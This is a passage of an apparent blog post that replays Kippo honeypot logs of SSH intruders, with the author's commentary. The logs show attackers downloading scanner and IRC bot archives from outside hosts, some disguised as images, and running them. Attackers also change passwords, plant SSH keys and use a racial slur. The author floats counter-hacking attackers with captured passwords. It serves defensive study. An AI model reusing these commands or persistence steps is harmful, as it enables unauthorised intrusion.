23:40:45 up 14 days, 3:53, 1 user, load average: 0.08, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 188.131.103.31 23:33 0.00s 0.00s 0.00s w
macuyiko@seppelaptop:~/Desktop/kippo/tty$ python playlog.py Hack1 .log 0
server:~# uptime
23:30:42 up 14 days, 3:53, 0 users, load average: 0.08, 0.02, 0.01
server:~# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU E8200 @ 2.66GHz
stepping : 6
cpu MHz : 2133.305
cache size : 6144 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips : 4270.03
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU E8200 @ 2.66GHz
stepping : 6
cpu MHz : 2133.305
cache size : 6144 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr sse4_1 lahf_lm
bogomips : 4266.61
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
server:~# uname -a
Linux server 2.6.26-2-686 #1 SMP Wed Nov 4 20:45:37 UTC 2009 i686 GNU/Linux
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc
server:~# ps x
PID TTY TIME CMD
5673 pts/0 00:00:00 bash
5677 pts/0 00:00:00 ps x
server:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
--2011-01-26 23:31:12-- http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
Connecting to download.microsoft.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130978672 (124M) [application/octet-stream]
Saving to: `W2Ksp3.exe
7% [===> ] 10,422,763 1731K/s eta 1m 9s^C
200 OK
server:~# rm -rf W2Ksp3.exe
server:~# wget http://eu-ro.ca/img.tar
--2011-01-26 23:31:31-- http://eu-ro.ca/img.tar
Connecting to eu-ro.ca:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 659886 (644K) [application/x-tar]
Saving to: `img.tar
100%[======================================>] 659,886 219K/s eta 0s
2011-01-26 23:31:34 (219 KB/s) - `img.tar' saved [659886/659886]
server:~# tar zxvf img.tar
.img
.img/start
.img/run
.img/r
.img/r/rversions.e
.img/r/rtsay.e
.img/r/rsignoff.e
.img/r/rsay.e
.img/r/rpickup.e
.img/r/rnicks.e
.img/r/rkicks.e
.img/r/rinsult.e
.img/r/raway.e
.img/pico
.img/m.help
.img/inst
.img/bash
.img/autorun
.img
.img/start
.img/run
.img/r
.img/r/rversions.e
.img/r/rtsay.e
.img/r/rsignoff.e
.img/r/rsay.e
.img/r/rpickup.e
.img/r/rnicks.e
.img/r/rkicks.e
.img/r/rinsult.e
.img/r/raway.e
.img/pico
.img/m.help
.img/inst
.img/bash
.img/autorun
server:~# cd .img
server:/root/.img# chmod +x *
server:/root/.img# ./start +s
___
{o,o}
|)__)
-"-"-
O RLY? cd
___
{o,o}
|)__)
-"-"-
O RLY? cd ..
___
{o,o}
|)__)
-"-"-
O RLY?
</code></pre>
<h2>Second example</h2>
<p>Another one (I've removed the fingerprinting from now on). Here, <code>ftp</code>, <code>apt-get</code> and <code>yum</code> are tried before settling with <code>wget</code>. Another interesting thing to see here is that the tool is actually stored in what "looks" like an image file: <code>scanmorf.jpg</code>. Changing the extension is a tactic often used to upload files to web servers who only perform some basic filename checks. In this case, <code>root-arhive.do.am</code> might be an innocent, hacked website. The <code>pscan</code> tool used here will return often and is used to scan IP blocks for open SSH servers.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# ftp zorro89.trei.ro
bash: ftp: command not found
server:~# apt-get
E: Could not open lock file /var/lib/apt/lists/lock - open (13: Permission denied)
E: Unable to lock the list directory
server:~# yum
bash: yum: command not found
server:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
server:~# http://root-arhive.do.am/scanner/scanmorf.jpg ; tar zxvf scanmorf.jpg ; cd .shm.xcgi?F6=1 ; chmod wget +x *
--2011-01-26 23:53:38-- http://root-arhive.do.am/scanner/scanmorf.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12466 (12K) [image/jpeg]
Saving to: `scanmorf.jpg
100%[======================================>] 12,466 2K/s eta 4s
2011-01-26 23:53:38 (2 KB/s) - `scanmorf.jpg' saved [12466/12466]
.shm.xcgi?F6=1
.shm.xcgi?F6=1/12.pscan.80
.shm.xcgi?F6=1/Horde
.shm.xcgi?F6=1/sd.pscan.80
.shm.xcgi?F6=1/h
.shm.xcgi?F6=1/a
.shm.xcgi?F6=1/23.pscan.80
.shm.xcgi?F6=1/paths
.shm.xcgi?F6=1/ps
.shm.xcgi?F6=1/a.pl
.shm.xcgi?F6=1/scan
server:/root/.shm.xcgi?F6=1# ls
12.pscan.80 Horde sd.pscan.80 h a 23.pscan.80 paths ps a.pl scan
server:/root/.shm.xcgi?F6=1# ls -all
drwxr-xr-x 1 root root 4096 2011-01-26 23:53 .
drwxr-xr-x 1 root root 4096 2011-01-26 23:53 ..
-rwxr-xr-x 1 root root 0 2011-01-22 02:25 12.pscan.80
-rwxr-xr-x 1 root root 14372 2011-01-22 02:28 Horde
-rwxr-xr-x 1 root root 9516 2011-01-22 02:25 sd.pscan.80
-rwxr-xr-x 1 root root 2720 2006-05-05 15:56 h
-rwxr-xr-x 1 root root 23 2006-05-05 15:55 a
-rw-r--r-- 1 root root 0 2011-01-22 02:28 23.pscan.80
-rwxr-xr-x 1 root root 50 2006-05-05 15:56 paths
-rwxr-xr-x 1 root root 13432 2011-01-22 02:28 ps
-rwxr-xr-x 1 root root 1165 2006-05-05 15:56 a.pl
-rwxr-xr-x 1 root root 857 2011-01-22 02:28 scan
server:/root/.shm.xcgi?F6=1# ./scan 88.198
___
{o,o}
|)__)
-"-"-
O RLY? y
___
{o,o}
(__(|
-"-"-
NO WAI!
server:/root/.shm.xcgi?F6=1# ./a 88.198
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory
</code></pre>
<h2>Third example</h2>
<p>Some intruders are friendly enough to change the root password for us. This would actually be an interesting concept to add to Kippo: when you notice a <code>passwd</code> command being executed, try to set up a reverse SSH connection to the attacker (probably possible since the attackers often use hacked servers themselves) and login with that password. When the same password is used during each hack attempt, we would probably be able to reclaim the originating server. Two tools are downloaded here. One is a flooding IRC bot, the other is a rehash of the <code>pscan</code> tool from above, with some automation shell scripts added (dubbed <code>gosh</code> here). It's also interesting to note that most of the hackers try to cover their tracks by removing their downloads.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# w
23:35:44 up 14 days, 3:53, 1 user, load average: 0.08, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 82.57.163.232 23:35 0.00s 0.00s 0.00s w
server:~# passwd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
server:~# cd ..
server:/# cd var
server:/var# cd tmp
server:/var/tmp# ls
server:/var/tmp# wget http://www.denysa.net/denysa/flood.tgz
--2011-01-26 23:36:24-- http://www.denysa.net/denysa/flood.tgz
Connecting to www.denysa.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 227324 (221K) [application/x-compressed]
Saving to: `flood.tgz
100%[======================================>] 227,324 51K/s eta 2s
2011-01-26 23:36:26 (51 KB/s) - `flood.tgz' saved [227324/227324]
server:/var/tmp# wget http://gblteam.webs.com/gosh.tgz.tar
--2011-01-26 23:36:44-- http://gblteam.webs.com/gosh.tgz.tar
Connecting to gblteam.webs.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1642769 (1M) [application/x-tar]
Saving to: `gosh.tgz.tar
100%[======================================>] 1,642,769 658K/s eta 0s
2011-01-26 23:36:46 (658 KB/s) - `gosh.tgz.tar' saved [1642769/1642769]
server:/var/tmp# tar zxvf gosh.tgz.tar
gosh
gosh/3
gosh/4
gosh/common
gosh/go.sh
gosh/scam
gosh/pscan2
gosh/ss
gosh/5
gosh/vuln.txt
gosh/1
gosh/mfu.txt
gosh/pass_file
gosh/gen-pass.sh
gosh/secure
gosh/2
gosh/ssh-scan
gosh/a
server:/var/tmp# cd gosh
server:/var/tmp/gosh# ls
3 4 common go.sh scam pscan2
ss 5 vuln.txt 1 mfu.txt pass_file
gen-pass.sh secure 2 ssh-scan a
server:/var/tmp/gosh# touch bios.txt
server:/var/tmp/gosh# chmod +x *
server:/var/tmp/gosh# ./go.sh 114
___
{o,o}
|)__)
-"-"-
O RLY? y
___
{o,o}
(__(|
-"-"-
NO WAI!
server:/var/tmp/gosh# cd ..
server:/var/tmp# rm -rf gosh
server:/var/tmp# ls
flood.tgz gosh.tgz.tar
server:/var/tmp# tar zxvf flood.tgz
f
f/1
f/P&ù÷
f/P¦û÷
f/b
f/b2
f/bang.txt
f/f
f/f4
f/fwd
f/hide
f/httpd
f/j
f/j2
f/mech.help
f/mech.set
f/s
f/sl
f/start.sh
f/std
f/stream
f/tty
f/v
f/v2
f/x
server:/var/tmp# cd f
server:/var/tmp/f# rm -rf f
server:/var/tmp/f# ls
1 P&ù÷ P¦û÷ b b2 bang.txt f4 fwd
hide httpd j j2 mech.help mech.set s sl
start.sh std stream tty v v2 x
server:/var/tmp/f# ./httpd
unable to open display ":0"
server:/var/tmp/f# chmod +x *
server:/var/tmp/f# ./httpd
unable to open display ":0"
server:/var/tmp/f# cd..
bash: cd..: command not found
server:/var/tmp/f# cd ..
server:/var/tmp# rm -rf f
server:/var/tmp# ls
flood.tgz gosh.tgz.tar
server:/var/tmp# rm -rf flood.tgz
server:/var/tmp# rm -rf gosh.tgz.tar93
</code></pre>
<h2>Fourth example</h2>
<p>Another attempt. Checking out the website http://eu-ro.ca/ reveals what seems to be a Romanian hacker group/set-up. Peeking in the bot configuration often reveals obscure IRC channels on Undernet. Following these channels quickly leads you to a whole set-up of channels, bots, and hackers. If you manage to lay low there, you can gain a lot of info (bot commands, group leaders, group set-up, targets and so on), but be prepared for some bans and insults as well. If I had some more spare time, I would set up a few dedicated honeypots (with more advanced shell simulation) and try to uncover more.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# mkdir /tmp/.user
server:~# cd /tmp/.user
server:/tmp/.user# wget http://eu-ro.ca/.kde.tgz
--2011-01-26 23:46:15-- http://eu-ro.ca/.kde.tgz
Connecting to eu-ro.ca:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1238822 (1M) [application/x-gzip]
Saving to: `.kde.tgz
100%[======================================>] 1,238,822 327K/s eta 0s
2011-01-26 23:46:19 (327 KB/s) - `.kde.tgz' saved [1238822/1238822]
server:/tmp/.user# tar zxvf .kde.tgz
.kde
.kde/pass_filees
.kde/pscan2
.kde/a1
.kde/common
.kde/pass_file
.kde/ssh-scan
.kde/auto
.kde/ss
.kde/go.sh
.kde/a
.kde/gen-pass.sh
.kde/start
.kde/vuln.txt
.kde
.kde/pass_filees
.kde/pscan2
.kde/a1
.kde/common
.kde/pass_file
.kde/ssh-scan
.kde/auto
.kde/ss
.kde/go.sh
.kde/a
.kde/gen-pass.sh
.kde/start
.kde/vuln.txt
server:/tmp/.user# cs .kde
bash: cs: command not found
server:/tmp/.user# cd .kde
server:/tmp/.user/.kde# ls -a
. .. pass_filees pscan2 a1 common
pass_file ssh-scan auto ss go.sh a
gen-pass.sh start vuln.txt
server:/tmp/.user/.kde# chmod +x *
server:/tmp/.user/.kde# ./a 210.133
unable to open display ":0"
server:/tmp/.user/.kde# chmod +x *
server:/tmp/.user/.kde# ./start 28
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory
server:/tmp/.user/.kde# cd ..
server:/tmp/.user# ls-a
bash: ls-a: command not found
server:/tmp/.user# ls -a
. .. .kde.tgz .kde .kde
server:/tmp/.user# wget bila.do.am/bila.tgz
--2011-01-26 23:50:26-- http://bila.do.am/bila.tgz
Connecting to bila.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 262027 (255K) [application/octet-stream]
Saving to: `bila.tgz
100%[======================================>] 262,027 6K/s eta 42s
2011-01-26 23:50:27 (6 KB/s) - `bila.tgz' saved [262027/262027]
server:/tmp/.user# tar zxvf bila.tgz
.tmp
.tmp/cyc.acc
.tmp/ -bash
.tmp/s.sh
.tmp/cyc.set
.tmp/pico
.tmp/stealth
server:/tmp/.user# ls -a
. .. .kde.tgz .kde .kde bila.tgz .tmp
server:/tmp/.user# cd .tmp
server:/tmp/.user/.tmp# ls -a
. .. cyc.acc -bash s.sh cyc.set pico stealth
server:/tmp/.user/.tmp# ./stealth
unable to open display ":0"
</code></pre>
<h2>Fifth example</h2>
<p>Another straightforward attempt. Also here, the website http://arhiva.do.am seems to be used as a dump for hosting malware.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# wget http://arhiva.do.am/dabian.tgz
--2011-01-27 00:18:22-- http://arhiva.do.am/dabian.tgz
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 404 Not Found
server:~# wget http://arhiva.do.am/arhiva.tgz
--2011-01-27 00:18:57-- http://arhiva.do.am/arhiva.tgz
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 404 Not Found
server:~# wget http://arhiva.do.am/scan.tar
--2011-01-27 00:19:28-- http://arhiva.do.am/scan.tar
Connecting to arhiva.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1484800 (1M) [application/octet-stream]
Saving to: `scan.tar
100%[======================================>] 1,484,800 518K/s eta 0s
2011-01-27 00:19:31 (518 KB/s) - `scan.tar' saved [1484800/1484800]
server:~# tar xvf scan.tar
scan
scan/sshf
scan/a6
scan/start
scan/pass_sh
scan/a5
scan/gen-pass.sh
scan/ssh-scan
scan/test.sh
scan/README
scan/200.pscan.22
scan/pass_file
scan/sshf0
scan/pscan2
scan/pico
scan/pass_filees
scan/vuln.txt
scan/a4
scan/a1
scan/a2
scan/mfu.txt
scan/a
scan/common
server:~# rm -rf scan.tar
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc scan
server:~# cd scan
server:/root/scan# ./a 64.189
Shall we play a game?
</code></pre>
<h2>Sixth example</h2>
<p>Another attempt. Here, three different malware programs are tried out before giving up. It's also interesting to see where intruders hide their downloads, some use <code>/root</code>, some <code>/tmp</code>, some esoteric locations like <code>/tmp/...</code>.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
server:~# yum
bash: yum: command not found
server:~# wget freewebtown.com/pacalici/lib.tgz
--2011-02-09 00:30:57-- http://freewebtown.com/pacalici/lib.tgz
Connecting to freewebtown.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8772939 (8M) [application/x-tar]
Saving to: `lib.tgz
100%[======================================>] 8,772,939 1844K/s eta 0s
2011-02-09 00:31:02 (1844 KB/s) - `lib.tgz' saved [8772939/8772939]
server:~# tar zxvf lib.tgz
lib
lib/mech.pid
lib/fuck
lib/j2
lib/v
lib/s
lib/r
lib/__libc_start_main
lib/std
lib/b
lib/bang.txt
lib/j
lib/1
lib/f4
lib/dir
lib/y2kupdate
lib/fwd
lib/x
lib/mech.set
lib/tty
lib/cron.d
lib/h
lib/sl
lib/b2
lib/W2Ksp3.exe
lib/tun.seen
lib/f
lib/h.c
lib/stream
lib/v2
lib/init
server:~# rm -rf lib.tgz
server:~# cd lib
server:/root/lib# ./y2kupdate
unable to open display ":0"
server:/root/lib# ./init
unable to open display ":0"
server:/root/lib# cd
server:~# ls
lib
server:~# cd /dev
server:/dev# wget freewebtown.com/pacalici/bf.tgz
--2011-02-09 00:32:05-- http://freewebtown.com/pacalici/bf.tgz
Connecting to freewebtown.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 392378 (383K) [application/x-tar]
Saving to: `bf.tgz
100%[======================================>] 392,378 9K/s eta 39s
2011-02-09 00:32:06 (9 KB/s) - `bf.tgz' saved [392378/392378]
server:/dev# tar zxvf bf.tgz
mc-root
mc-root/go
mc-root/cyc.set
mc-root/cyc.help
mc-root/cyc.levels
mc-root/bash
mc-root/udp.pl
mc-root/stealth
mc-root/randfiles
mc-root/randfiles/randkicks.e
mc-root/randfiles/randaway.e
mc-root/randfiles/randsignoff.e
mc-root/randfiles/randinsult.e
mc-root/randfiles/randversions.e
mc-root/randfiles/randsay.e
mc-root/randfiles/randpickup.e
mc-root/randfiles/randnicks.e
mc-root/cyc.acc
mc-root/pico.tgz
mc-root/pico
mc-root/cyc.pid
server:/dev# rm -rf bf.tgz
server:/dev#
server:/dev# cd mc-root
server:/dev/mc-root# ./go
unable to open display ":0"
server:/dev/mc-root# ls
go cyc.set cyc.help cyc.levels bash udp.pl stealth
randfiles cyc.acc pico.tgz pico cyc.pid
server:/dev/mc-root# cd
server:~#
server:~#
server:~# wget pibo.com/.x/scan/wtf.tar
--2011-02-09 00:35:09-- http://pibo.com/.x/scan/wtf.tar
Connecting to pibo.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1574103 (1M) [application/x-tar]
Saving to: `wtf.tar
100%[======================================>] 1,574,103 299K/s eta 1s
2011-02-09 00:35:13 (299 KB/s) - `wtf.tar' saved [1574103/1574103]
server:~# tar xzvf wtf.tar
wtf
wtf/a
wtf/a1
wtf/auto
wtf/common
wtf/gen-pass.sh
wtf/go.sh
wtf/pass_file
wtf/pscan2
wtf/scam
wtf/sh
wtf/ss
wtf/ssh-scan
wtf/start
wtf/vuln.txt
server:~# cd wtf
server:/root/wtf# chmod +x *
server:/root/wtf# ./a 100
error while loading shared libraries: libgnome.so.32: cannot open shared object file: No such file or directory
server:/root/wtf#
</code></pre>
<h2>Seventh example</h2>
<p>Not only is this intruder very offensive, he also quickly spotted the honeypot.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# adduser nigger
Adding user `nigger' ...
Adding new group `nigger' (1001) ...
Adding new user `nigger' (1001) with group `nigger' ...
Creating home directory `/home/nigger' ...
Copying files from `/etc/skel' ...
Password:
Password again:
Changing the user information for nigger
Enter the new value, or press ENTER for the default
Username []:
Must enter a value!
Username []: only
Full Name []: dumb
Room Number []: niggers
Work Phone []: use
Home Phone []: honeypot
Mobile Phone []: you
Country []: stupid
City []: nigger
Language []: HA
Favorite movie []: HA
Other []: HA
Is the information correct? [Y/n] y
ERROR: Some of the information you entered is invalid
Deleting user `nigger' ...
Deleting group `nigger' (1001) ...
Deleting home directory `/home/nigger' ...
Try again? [Y/n] n
</code></pre>
<h2>Eight example</h2>
<p>This guy tried adding his SSH keys and installing software again and again and was one of the most persistent intruders.</p>
<pre><code class="prettyprint" style="height: 300px;">server:~# cd
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc
server:~# cd /root
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc
server:~# cd ..
server:/# ls -a
. .. sys bin mnt media vmlinuz
opt cdrom selinux tmp proc sbin etc
dev srv initrd.img lib home var usr
boot root lost+found
server:/# cd
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc
server:~# mkdir .ssh
server:~# cd .ssh
server:/root/.ssh# ls -a
server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys
server:/root/.ssh# ls -a
server:/root/.ssh# dir
bash: dir: command not found
server:/root/.ssh# ls -a
server:/root/.ssh# cd ..
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc .ssh
server:~# rm -rf .ssh
server:~# cd .root
bash: cd: .root: No such file or directory
server:~# cd /root
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc
server:~# mkdir .ssh
server:~# cd .ssh
server:/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys
server:/root/.ssh# cd ..
server:~# ls -a
. .. .debtags .viminfo .aptitude .profile .bashrc .ssh
server:~# rm -rf .ssh
server:~# cd ..
server:/# ls -a
. .. sys bin mnt media vmlinuz
opt cdrom selinux tmp proc sbin etc
dev srv initrd.img lib home var usr
boot root lost+found
server:/# cd home
server:/home# ls -a
. .. richard
server:/home# cd ..
server:/# ls -a
. .. sys bin mnt media vmlinuz
opt cdrom selinux tmp proc sbin etc
dev srv initrd.img lib home var usr
boot root lost+found
server:/# mkdir .ssh
server:/# cd .ssh
server:/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys
server:/.ssh# cd ..
server:/# ;s =a
bash: s: command not found
server:/#
server:/# ls -a
. .. sys bin mnt media vmlinuz
opt cdrom selinux tmp proc sbin etc
dev srv initrd.img lib home var usr
boot root lost+found .ssh
server:/# rm -rf .ssh
server:/# cd
server:~# cd /tmp
server:/tmp# ls -a
. .. .ICE-unix .X11-unix
server:/tmp# mkdir ,
server:/tmp# cd ,
server:/tmp/,# wget http://pinky.clan.su/mech/fast.jpg ; tar fast.jpg
--2011-03-02 21:07:41-- http://pinky.clan.su/mech/fast.jpg
Connecting to pinky.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 821334 (802K) [image/jpeg]
Saving to: `fast.jpg
100%[======================================>] 821,334 113K/s eta 0s
2011-03-02 21:07:49 (113 KB/s) - `fast.jpg' saved [821334/821334]
tar: You must specify one of the `-Acdtrux' options
Try `tar --help' or `tar --usage' for more information.
server:/tmp/,# tar zxvf fast.jpg
fast
fast/src
fast/src/xmech.o
fast/src/xmech.c
fast/src/vars.o
fast/src/vars.c
fast/src/userlist.o
fast/src/userlist.c
fast/src/usage.h
fast/src/text.h
fast/src/structs.h
fast/src/socket.o
fast/src/socket.c
fast/src/parse.o
fast/src/parse.c
fast/src/mcmd.h
fast/src/Makefile.in
fast/src/Makefile
fast/src/main.o
fast/src/main.c
fast/src/link.o
fast/src/link.c
fast/src/h.h
fast/src/global.h
fast/src/gencmd.c
fast/src/gencmd
fast/src/function.o
fast/src/function.c
fast/src/defines.h
fast/src/debug.o
fast/src/debug.c
fast/src/dcc.o
fast/src/dcc.c
fast/src/config.h.in
fast/src/config.h
fast/src/commands.o
fast/src/commands.c
fast/src/combot.o
fast/src/combot.c
fast/src/com-ons.o
fast/src/com-ons.c
fast/src/channel.o
fast/src/channel.c
fast/src/cfgfile.o
fast/src/cfgfile.c
fast/r
fast/r/rversions.e
fast/r/rtsay.e
fast/r/rsignoff.e
fast/r/rsay.e
fast/r/rpickup.e
fast/r/rnicks.e
fast/r/rkicks.e
fast/r/rinsult.e
fast/r/raway.e
fast/mkindex
fast/Makefile
fast/m.set
fast/m.help
fast/LinkEvents
fast/go
fast/genuser
fast/configure
fast/checkmech
fast/bash
fast/3.user
fast/2.user
fast/1.user
fast/configure.c
server:/tmp/,# cd fast
server:/tmp/,/fast# ls -a
. .. src r mkindex Makefile
m.set m.help LinkEvents go genuser configure
checkmech bash 3.user 2.user 1.user configure.c
server:/tmp/,/fast# vi 1.user
E558: Terminal entry not found in terminfo
server:/tmp/,/fast# pico 1.user
bash: pico: command not found
server:/tmp/,/fast# apt-get install pico
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
pico
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 158.2kB of archives.
After this operation, 347.6kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main pico 1.15-7 [158.2kB]
Fetched 158.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking pico (from .../archives/pico_1.15-7_i386.deb) ...
Processing triggers for man-db ...
Setting up pico (1.15-7) ...
server:/tmp/,/fast# pico 1.user
pico: Segmentation fault
server:/tmp/,/fast# ./pico 1.user
bash: ./pico: command not found
server:/tmp/,/fast# wget pinky.clan.su/altele/pico.jpg
--2011-03-02 21:09:32-- http://pinky.clan.su/altele/pico.jpg
Connecting to pinky.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84478 (82K) [image/jpeg]
Saving to: `pico.jpg
100%[======================================>] 84,478 27K/s eta 1s
2011-03-02 21:09:34 (27 KB/s) - `pico.jpg' saved [84478/84478]
server:/tmp/,/fast# tar zxvf pico.jpg
pico
server:/tmp/,/fast# ./pico 1.user
Shall we play a game?
A strange game. The only winning move is not to play. How about a nice game of chess?
server:/tmp/,/fast# ./pico 1.user
Shall we play a game? y
A strange game. The only winning move is not to play. How about a nice game of chess?
server:/tmp/,/fast#
server:/tmp/,/fast# ls -a
. .. src r mkindex Makefile
m.set m.help LinkEvents go genuser configure
checkmech bash 3.user 2.user 1.user configure.c
pico.jpg pico
server:/tmp/,/fast# apt-get install vi
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
vi
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 442.2kB of archives.
After this operation, 972.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main vi 0.12-1 [442.2kB]
Fetched 442.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking vi (from .../archives/vi_0.12-1_i386.deb) ...
Processing triggers for man-db ...
Setting up vi (0.12-1) ...
server:/tmp/,/fast# vi 1.user
E558: Terminal entry not found in terminfo
server:/tmp/,/fast#
server:/tmp/,/fast# wget http://root-arhive.do.am/scanner/goshNEW.jpg ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *
server:/tmp/,/fast# cd ..
server:/tmp/,# ls -a
. .. fast.jpg fast
server:/tmp/,# wget http://root-arhive.do.am/scanner/goshNEW.jpg ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *
--2011-03-02 21:11:59-- http://root-arhive.do.am/scanner/goshNEW.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3144067 (2M) [image/jpeg]
Saving to: `goshNEW.jpg
100%[======================================>] 3,144,067 759K/s eta 0s
2011-03-02 21:12:03 (759 KB/s) - `goshNEW.jpg' saved [3144067/3144067]
goshNEW
goshNEW/a
goshNEW/userrootmic.txt
goshNEW/gen-pass.h
goshNEW/mass
goshNEW/2
goshNEW/ss
goshNEW/pscan2
goshNEW/secure
goshNEW/ssh-scan
